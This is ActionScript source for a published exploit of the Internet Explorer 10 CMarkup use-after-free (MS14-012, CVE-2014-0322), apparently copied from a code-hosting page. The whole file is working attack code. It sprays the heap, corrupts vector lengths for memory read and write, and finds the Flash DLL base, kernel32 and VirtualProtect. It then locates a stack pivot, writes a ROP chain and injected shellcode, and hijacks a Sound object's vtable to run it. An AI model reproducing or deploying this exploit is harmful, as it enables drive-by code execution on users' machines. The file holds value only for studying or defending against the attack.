520 lines
14 KiB
ActionScript
520 lines
14 KiB
ActionScript
|
/*
|
||
|
* MS14-012 Internet Explorer CMarkup Use-After-Free
|
||
|
* Vendor Homepage: http://www.microsoft.com
|
||
|
* Version: IE 10
|
||
|
* Date: 2014-03-31
|
||
|
* Exploit Author: Jean-Jamil Khalife
|
||
|
* Tested on: Windows 7 SP1 x64 (fr, en)
|
||
|
* Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
|
||
|
* Home: http://www.hdwsec.fr
|
||
|
* Blog : http://www.hdwsec.fr/blog/
|
||
|
* MS14-012 / CVE-2014-0322
|
||
|
*
|
||
|
* Generation:
|
||
|
* c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
|
||
|
*
|
||
|
*/
|
||
|
|
||
|
package
|
||
|
{
|
||
|
import __AS3__.vec.Vector;
|
||
|
import flash.display.*;
|
||
|
import flash.events.*;
|
||
|
import flash.external.*;
|
||
|
import flash.media.*;
|
||
|
import flash.net.*;
|
||
|
import flash.text.*;
|
||
|
import flash.utils.*;
|
||
|
import Math;
|
||
|
import flash.system.Security;
|
||
|
import flash.external.ExternalInterface;
|
||
|
|
||
|
import flash.display.LoaderInfo;
|
||
|
|
||
|
|
||
|
public class AsXploit extends Sprite
|
||
|
{
|
||
|
public var s:Vector.<Object>;
|
||
|
public var spraysound:Vector.<Object>;
|
||
|
public var myTimer:Timer;
|
||
|
public var sound:Sound;
|
||
|
public var shellcodeObj:Array;
|
||
|
|
||
|
/*
|
||
|
* Prepare the heap
|
||
|
* Trigger the vulnerability
|
||
|
* Exploit :)
|
||
|
*/
|
||
|
public function AsXploit()
|
||
|
{
|
||
|
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(",");
|
||
|
|
||
|
/* Prepare the heap */
|
||
|
init_heap();
|
||
|
|
||
|
/* Trigger the vulnerability */
|
||
|
ExternalInterface.call("trigger");
|
||
|
|
||
|
/* Check every second if the vulnerability has triggered */
|
||
|
myTimer = new Timer(1000, 114096);
|
||
|
myTimer.addEventListener("timer", timerHandler);
|
||
|
myTimer.start();
|
||
|
}
|
||
|
|
||
|
/* Prepare the heap
|
||
|
* Spray aligned vector & sound objects
|
||
|
*/
|
||
|
public function init_heap():void
|
||
|
{
|
||
|
var len:int = 0;
|
||
|
var i:int = 0;
|
||
|
|
||
|
/* Spray the integer array */
|
||
|
this.s = new Vector.<Object>(0x18180);
|
||
|
while (len < 0x18180)
|
||
|
{
|
||
|
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
|
||
|
for (i=0; i < this.s[len].length; i++)
|
||
|
{
|
||
|
this.s[len][i] = 0x1a1a1a1a;
|
||
|
}
|
||
|
|
||
|
++len;
|
||
|
}
|
||
|
|
||
|
/* Spray sound object ptr */
|
||
|
this.sound = new Sound();
|
||
|
this.spraysound = new Vector.<Object>(0x100);
|
||
|
|
||
|
len = 0;
|
||
|
while (len < 0x100)
|
||
|
{
|
||
|
this.spraysound[len] = new Vector.<Object>(0x1234);
|
||
|
for (i=0; i < this.spraysound[len].length; i++)
|
||
|
{
|
||
|
this.spraysound[len][i] = this.sound;
|
||
|
}
|
||
|
++len;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Read an INT value in memory
|
||
|
*/
|
||
|
public function readInt(u1:int, u2:int, mod:uint):int
|
||
|
{
|
||
|
var valres:uint = 0;
|
||
|
|
||
|
if (mod == 1){
|
||
|
valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000;
|
||
|
}
|
||
|
else if (mod == 2){
|
||
|
valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000;
|
||
|
}
|
||
|
else if (mod == 3){
|
||
|
valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100;
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
valres = u1;
|
||
|
}
|
||
|
|
||
|
return valres;
|
||
|
}
|
||
|
|
||
|
|
||
|
/*
|
||
|
* Search a stack pivot dynamically
|
||
|
* baseflashaddr_off: flash dll base address offset
|
||
|
* index: index of vectors table
|
||
|
* offset: offset to get the Stackpivot RVA
|
||
|
*/
|
||
|
public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint
|
||
|
{
|
||
|
var sp:uint = 0;
|
||
|
var sn:uint = 0;
|
||
|
var secname:uint = 0;
|
||
|
var sec:uint = 0;
|
||
|
var peindex:uint = 0;
|
||
|
var virtualSize:uint = 0;
|
||
|
var virtualAddr:uint = 0;
|
||
|
var i:uint = 0;
|
||
|
|
||
|
/* Find .text */
|
||
|
peindex = this.s[index][baseflashaddr_off+0x3C/4];
|
||
|
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;
|
||
|
|
||
|
/* Find 0xC394 */
|
||
|
for (sec=0; sec < sn; sec++)
|
||
|
{
|
||
|
if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
|
||
|
&& this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
|
||
|
{
|
||
|
virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
|
||
|
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];
|
||
|
|
||
|
/* Find a stack pivot */
|
||
|
for (i=0; i < virtualSize/4; i++)
|
||
|
{
|
||
|
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
|
||
|
{
|
||
|
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
|
||
|
{
|
||
|
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
|
||
|
{
|
||
|
if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
|
||
|
&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
|
||
|
{
|
||
|
sp = virtualAddr + i*4 + 3;
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
sp = virtualAddr + i*4 + 2;
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
sp = virtualAddr + i*4 + 1;
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
sp = virtualAddr + i*4;
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if (sp != 0)
|
||
|
sp = offset+sp;
|
||
|
|
||
|
return sp;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Build & Insert the stack pivot + ROP + Shellcode
|
||
|
* Corrupt sound object vtable ptr
|
||
|
* baseflashaddr_off: flash dll address offset
|
||
|
* index: vectors table index
|
||
|
* cvaddr: corrupted vector address
|
||
|
* virtualprotectaddr: virtual protect address
|
||
|
* sp: stack pivot address
|
||
|
*/
|
||
|
public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void
|
||
|
{
|
||
|
var dec:uint = 0;
|
||
|
var soundobjref:uint = 0;
|
||
|
var soundobjaddr:uint = 0;
|
||
|
var sh:uint=0x300;
|
||
|
var i:uint = 0;
|
||
|
|
||
|
/* Corrupt sound object vtable ptr */
|
||
|
while (1)
|
||
|
{
|
||
|
if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
|
||
|
{
|
||
|
soundobjref = this.s[index][j+0x0A];
|
||
|
dec = soundobjref-cvaddr-1;
|
||
|
this.s[index][dec/4-2] = cvaddr+2*4+4*4;
|
||
|
break;
|
||
|
}
|
||
|
|
||
|
j++;
|
||
|
}
|
||
|
|
||
|
/* Stack pivot */
|
||
|
for (i=0; i < 0x200; i++)
|
||
|
this.s[index][i] = sp;
|
||
|
|
||
|
/* ROP */
|
||
|
this.s[index][0] = 0x41414141;
|
||
|
this.s[index][1] = 0x41414141;
|
||
|
this.s[index][2] = 0x41414141;
|
||
|
this.s[index][3] = 0x41414141;
|
||
|
this.s[index][4] = virtualprotectaddr;
|
||
|
this.s[index][5] = cvaddr+0xC00+8;
|
||
|
this.s[index][6] = cvaddr;
|
||
|
this.s[index][7] = 0x4000;
|
||
|
this.s[index][8] = 0x40;
|
||
|
this.s[index][9] = 0x1a002000;
|
||
|
|
||
|
/* Shellcode */
|
||
|
for(var u:String in shellcodeObj)
|
||
|
{
|
||
|
this.s[index][sh++] = Number(shellcodeObj[u]);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
/*
|
||
|
* Get flash module base address
|
||
|
* index: index of vectors table
|
||
|
* cvaddr: corrupted vector address
|
||
|
*/
|
||
|
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array
|
||
|
{
|
||
|
var baseflashaddr_off:uint = 0;
|
||
|
var j:int = 0;
|
||
|
var k:int = 0;
|
||
|
var kmax:uint = 0;
|
||
|
var vtableobj:int = 0;
|
||
|
var ocxinfo:Array = new Array();
|
||
|
|
||
|
|
||
|
while (1)
|
||
|
{
|
||
|
if (this.s[index][j] == 0x00010c00)
|
||
|
{
|
||
|
vtableobj = this.s[index][j+0x08] & 0xFFFF0000;
|
||
|
|
||
|
/* Get ocx base address */
|
||
|
k = 0;
|
||
|
while (1)
|
||
|
{
|
||
|
if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
|
||
|
{
|
||
|
baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
|
||
|
ocxinfo[0] = baseflashaddr_off;
|
||
|
ocxinfo[1] = j;
|
||
|
ocxinfo[2] = k;
|
||
|
ocxinfo[3] = vtableobj;
|
||
|
|
||
|
return ocxinfo;
|
||
|
}
|
||
|
|
||
|
k = k + 0x1000;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
j = j + 0x1;
|
||
|
}
|
||
|
|
||
|
return ocxinfo;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Find kernel32.dll index
|
||
|
* index: index of vectors table
|
||
|
* baseflashaddr_off: flash dll address offset
|
||
|
* importsindex: offset to the imports table
|
||
|
*/
|
||
|
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint
|
||
|
{
|
||
|
var nameindex:uint = 0;
|
||
|
var dllname:int = 0;
|
||
|
var nameaddr:int = 0;
|
||
|
|
||
|
do
|
||
|
{
|
||
|
nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
|
||
|
|
||
|
/* kernel32.dll not found */
|
||
|
if (nameaddr == 0x0)
|
||
|
break;
|
||
|
|
||
|
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||
|
|
||
|
/* Check kernel32.dll */
|
||
|
if (dllname == 0x6E72656B || dllname == 0x4E52454B)
|
||
|
{
|
||
|
nameaddr = nameaddr + 4;
|
||
|
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||
|
if (dllname == 0x32336C65 || dllname == 0x32334C45)
|
||
|
{
|
||
|
nameaddr = nameaddr + 4;
|
||
|
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||
|
if (dllname == 0x6C6C642E || dllname == 0x4C4C442E)
|
||
|
{
|
||
|
return nameindex;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
/* Next dll */
|
||
|
nameindex = nameindex + 0x14;
|
||
|
}
|
||
|
while (1);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Get VirtualProtectStub() addr
|
||
|
*/
|
||
|
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint
|
||
|
{
|
||
|
var fct_addr:uint = 0;
|
||
|
var fct_name:uint = 0;
|
||
|
var fct_name_struct:uint = 0;
|
||
|
|
||
|
do
|
||
|
{
|
||
|
fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
|
||
|
fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
|
||
|
|
||
|
/* VirtualProtectStub() not found */
|
||
|
if (fct_addr == 0 || fct_name_struct == 0)
|
||
|
break;
|
||
|
|
||
|
if ((fct_name_struct & 0x80000000) != 0x80000000)
|
||
|
{
|
||
|
fct_name_struct = fct_name_struct + 2;
|
||
|
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||
|
|
||
|
/* Check VirtualProtect */
|
||
|
if (fct_name == 0x74726956 || fct_name == 0x54524956)
|
||
|
{
|
||
|
fct_name_struct = fct_name_struct + 4;
|
||
|
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||
|
if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
|
||
|
{
|
||
|
fct_name_struct = fct_name_struct + 4;
|
||
|
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||
|
if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
|
||
|
{
|
||
|
return fct_addr;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
/* Next Function() */
|
||
|
fct_addr_offset = fct_addr_offset + 0x4;
|
||
|
fct_name_offset = fct_name_offset + 0x4;
|
||
|
}
|
||
|
while (1);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Get corrupted vector index
|
||
|
*/
|
||
|
public function getCorruptedVectorIndex():uint
|
||
|
{
|
||
|
var i:uint = 0;
|
||
|
for (i=0; i < this.s.length; i++)
|
||
|
{
|
||
|
if (this.s[i].length == 0x3FFFFFFF)
|
||
|
{
|
||
|
return i;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
return i;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Corrupt next vector size
|
||
|
*/
|
||
|
public function corruptNextVector(index:uint):uint
|
||
|
{
|
||
|
var j:uint = 0;
|
||
|
|
||
|
for (j=0; j < this.s.length; j++)
|
||
|
{
|
||
|
if (this.s[index][j] == 0x000003F0)
|
||
|
{
|
||
|
this.s[index][j] = 0x3FFFFFFF;
|
||
|
|
||
|
return j;
|
||
|
}
|
||
|
|
||
|
j = j + 1;
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Perform the exploitation
|
||
|
* - Find VirtualProtect()
|
||
|
* - Find a stack pivot
|
||
|
* - Build payload (SP + ROP + SC)
|
||
|
* - Run payload
|
||
|
*/
|
||
|
public function timerHandler(event:TimerEvent):void
|
||
|
{
|
||
|
var i:int = 0;
|
||
|
var j:int = 0;
|
||
|
var k:int = 0;
|
||
|
|
||
|
var vtableobj:int = 0;
|
||
|
var peindex:int = 0;
|
||
|
var importsindex:int = 0;
|
||
|
var k32index:int = 0;
|
||
|
var fct_name_offset:uint = 0;
|
||
|
var fct_addr_offset:uint = 0;
|
||
|
|
||
|
var baseflashaddr_off:int = 0; /* Base address of the flash dll */
|
||
|
var vp_addr:uint = 0; /* VirtualProtectStub() addr */
|
||
|
var stackpivot:uint = 0; /* Stackpivot address */
|
||
|
|
||
|
var cvaddr:int = 0x1a001000; /* corrupted vector address */
|
||
|
var ocxinfo:Array;
|
||
|
var i2:uint = 0;
|
||
|
|
||
|
/* Search the corrupted vector */
|
||
|
for (i=0; i < this.s.length; i++)
|
||
|
{
|
||
|
/* Find corrupted vector */
|
||
|
if (this.s[i].length == 0x010003f0)
|
||
|
{
|
||
|
this.myTimer.stop();
|
||
|
|
||
|
/* Corrupt next vector size */
|
||
|
if (corruptNextVector(i) == 0)
|
||
|
return;
|
||
|
|
||
|
/* Find corrupted vector */
|
||
|
i2 = getCorruptedVectorIndex();
|
||
|
if (i2 == 0) return;
|
||
|
|
||
|
/* Get flash base addr */
|
||
|
ocxinfo = getFlashBaseAddr(i2, cvaddr);
|
||
|
if (ocxinfo.length == 0) return;
|
||
|
baseflashaddr_off = ocxinfo[0];
|
||
|
j = ocxinfo[1];
|
||
|
k = ocxinfo[2];
|
||
|
vtableobj = ocxinfo[3];
|
||
|
|
||
|
/* Get imports table */
|
||
|
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
|
||
|
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];
|
||
|
|
||
|
/* Find kernel32.dll */
|
||
|
k32index = getK32Index(i2, baseflashaddr_off, importsindex);
|
||
|
if (k32index == 0) return;
|
||
|
|
||
|
fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
|
||
|
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];
|
||
|
|
||
|
/* Find VirtualProtectStub() addr */
|
||
|
vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset);
|
||
|
if (vp_addr == 0) return;
|
||
|
|
||
|
/* Search Stack Pivot */
|
||
|
stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k);
|
||
|
if (stackpivot == 0) return;
|
||
|
|
||
|
/* Build Payload */
|
||
|
buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot);
|
||
|
|
||
|
/* Run Payload */
|
||
|
this.sound.toString();
|
||
|
|
||
|
return;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|